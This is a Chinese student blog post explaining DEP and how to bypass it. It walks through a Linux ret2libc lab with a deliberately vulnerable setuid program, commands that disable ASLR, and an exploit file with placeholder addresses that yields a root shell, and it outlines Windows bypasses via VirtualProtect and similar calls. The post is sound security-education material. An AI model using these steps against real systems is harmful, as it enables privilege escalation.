20155306 白皎 0day漏洞——漏洞利用原理之DEP

一、DEP机制的保护原理

1.为什么出现DEP?

溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

2.DEP是什么?

DEP-数据执行保护的缩写,DataExecutionPrevention。能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。

2.DEP工作原理是什么?

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。

二、利用Ret2Lib绕过DEP

- Linux下利用Ret2Libc绕过DEP

原理分析

系统库函数通常是不受DEP保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。system函数是通过/bin/sh命令去执行一个用户执行命令或者脚本,因此,我们完全可以利用system来实现Shellcode的功能。

return-into-libc原理

攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。

攻击步骤

1.输入命令安装一些用于编译 32 位 C 程序的东西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2.输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。

关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址。以及设置堆栈不可执行

gcc -z noexecstack -o test test.c  //栈不可执行

sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化



3.添加一个新用户,可以参考教程:linux中新建一个用户

4.即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。

5.把以下漏洞代码保存为“retlib.c”文件,保存到 /tmp 目录下,并进行编译,设置。代码如下:


include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

6.编译上述程序编译该程序,并设置 SET-UID。

sudo su//获取root权限

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行

chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作

exit

7.此外,我们还需要用到一个读取环境变量的程序,并通过 gcc -m32 -o getenvaddr getenvaddr.c进行编译。

include <stdio.h>
include <stdlib.h>
include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}

8.获得 BIN_SH 地址

export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

9.以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

10.获取 system 和 exit 地址

gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址



11.修改 exploit.c 文件,填上刚才找到的内存地址。删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。

12.首先运行攻击程序,生成badfile文件,载运行漏洞程序,可以看到攻击成功,获得root权限。

问题

1.在编译retlib程序时,出现如下错误:bits/libs-header-start.h没有那个文件或目录

解决:下载sudo apt-get install lib32readline-gplv2-dev软件包,即可解决

- Windows下绕过DEP

突破思路:

既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode中的溢出部分找到替代指令(shellcode中0x90用于填充),进而使被覆盖的函数返回地址执行我们预定的指令,来关闭DEP或者对内存空间做一些新操作,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权),如下图:

在做实验之前,首先我们要明确实验环境。DEP有四种状态:

  • OptIn(选择启用,默认值):系统的默认设置是 OptIn 模式,在该设置下,仅为基本 Windows 程序和服务器用 DEP。
  • OptOut(选择禁用):如果在该对话框中选择,“为除下列程序之外的所有程序和服务启用”,则会将 DEP 设置为 OptOut 模式,在该模式下,DEP 提供了更广的保护范围。但同时也意味着增加了不兼容性的可能,因此,系统在提供了一个白名单列表,可以把产生冲突的程序(一般为系统级的程序、驱动等)添加到列表中,为这些程序关闭 DEP。
  • AlwaysOn:对所有进程启用DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn模式。
  • AlwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才使用,如DEP干扰到程序的正常运行。

在这里,我们需要开启DEP,设置为optout模式。

三种有效绕过DEP的exploit的方法

  • 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行。

一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。

我们只要构造一个符合函数结构体的栈帧,利用系统中已存在的关闭进程DEP的调用,构造参数来调用函数即可。

  • 通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,然后再转入shellcode执行。

对所有程序默认开启DEP的情况下,如果一个程序自身偶尔需要从堆栈中取指令,就会发生错误。

函数VirtualProtect提供了修改内存属性的功能。只要我们在栈帧中布置好合适的参数,并让程序转入该函数执行,我们就可以将shellcode所在内存设置为可执行状态,从而绕过DEP。

  • 通过跳转到VIrtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。

函数VirtualAlloc可以用来申请一段具有可执行属性的内存。我们将Ret2Libc的第一条设置为该函数地址,然后将shellcode代码复制到申请的空间之中既可以绕过DEP。

参考文献:

[1]王清.《0day安全:软件漏洞分析技术》[M].中国:电子工业出版社,2008.

[2]王清.《0day安全:软件漏洞分析技术(第2版)》[M].中国:电子工业出版社,2011.

20155306 白皎 0day漏洞——漏洞利用原理之DEP的更多相关文章

  1. 20155306 白皎 0day漏洞——漏洞利用原理之GS

    20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区, ...

  2. 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

    20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...

  3. 20155306 白皎 0day漏洞——基础知识

    20155306 白皎 0day漏洞--(第一篇)基础知识 写在前面: 本次免考实践方向是0day漏洞,以博客的形式记录了我的学习实践过程.第一篇博客主要围绕什么是0day漏洞以及一些以后学习中需要的 ...

  4. 20155306 白皎 0day漏洞——漏洞的复现

    一.Ubuntu16.04 (CVE-2017-16995) 1.漏洞概述 Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供 ...

  5. 20155306 白皎 《网络攻防》 Exp2 后门原理与实践

    20155306 白皎 <网络攻防> Exp2 后门原理与实践 一.实践基础 后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作.后程序和电脑病毒最大的差别, ...

  6. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  7. 20155306 白皎 《网络攻防》 EXP8 Web基础

    20155306 白皎 <网络攻防> EXP8 Web基础 一.问题回答 - 什么是表单 表单:一般用来收集用户的信息和反馈意见 表单包括两个部分:一部分是HTML源代码用于描述表单(例如 ...

  8. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  9. 20155306 白皎 《网络攻防》 EXP7 网络欺诈技术防范

    20155306 白皎 <网络攻防> EXP7 网络欺诈技术防范 问题回答 (1)通常在什么场景下容易受到DNS spoof攻击 局域网内的攻击以及连接公众场所的共享wifi (2)在日常 ...

随机推荐

  1. webpack中mainifest.js vendor.js app.js 三者的区别

    场景: 大家在利用构建工具进行应用最后的打包过程中,我们希望做到的是将业务代码和第三方引用模块代码分开打包. 因为第三方引用模块代码通常很大,而且在不引入新的模块之前基本上是不会变动的.所以我们需要将 ...

  2. 解决写入InfluxDB时,报unbalanced quotes的问题

    从客户端收集到Web站点信息后,写入InfluDB时,报如下异常: InfluxDB.Net.Infrastructure.Influx.InfluxDbApiException: InfluxDb ...

  3. nodejs图像处理模块

    首先是搜索了npm包的性能比较,找到了这篇: https://github.com/ivanoff/images-manipulation-performance 性能最好的当属sharp,由于安装不 ...

  4. 购物商城学习--第二讲(maven工程介绍)

    接下来第二讲介绍整体工程如何使用maven搭建的. 使用maven管理工程的好处: jar包的管理: 工程之间的依赖管理: 自动打包 maven常见打包方式:jar.war和pom三种.jar工程,是 ...

  5. 利用percona-toolkit定位数据库性能问题

    当你的性能瓶颈卡在数据库这块的时候,可以通过percona-toolkit来进行问题定位. 那么,首先,介绍下percona-toolkit.percona-toolkit是一组高级命令行工具的集合, ...

  6. 俄罗斯方块(JS+CSS)

    这是一个用 js + css 写的网页版俄罗斯方块. 具体代码与示例可访问我的另一个博客查看,源码与示例.

  7. MySQL基础之 标准模式通配符

    MySQL标准魔兽通配符 作用:在搜索数据库中的数据时,SQL通配符可以替代一个或多个字符 注意:标准模式SQL通配符必须与LIKE运算符一起使用 1.%  通配符 作用:匹配一个或多个字符. 找出以 ...

  8. WCF 基于 WinForm 宿主 发布

    ServiceHost Host = new ServiceHost(typeof(ServiceHTTP)); //绑定 System.ServiceModel.Channels.Binding h ...

  9. python第二十九课——文件读写(写数据的操作)

    演示写数据的操作: 结论:往文件中写入数据,如果文件不存在,先创建文件,再写入内容 #1.打开文件 fw=open(r'd.txt','w',encoding='utf-8') #2.写数据操作 fw ...

  10. POJ2104 K-th Number(整体二分)

    嘟嘟嘟 整体二分是一个好东西. 理解起来还行. 首先,需要牢记的是,我们二分的是答案,也就是在值域上二分,同时把操作分到左右区间中(所以操作不是均分的). 然后我就懒得讲了-- 李煜东的<算法竞 ...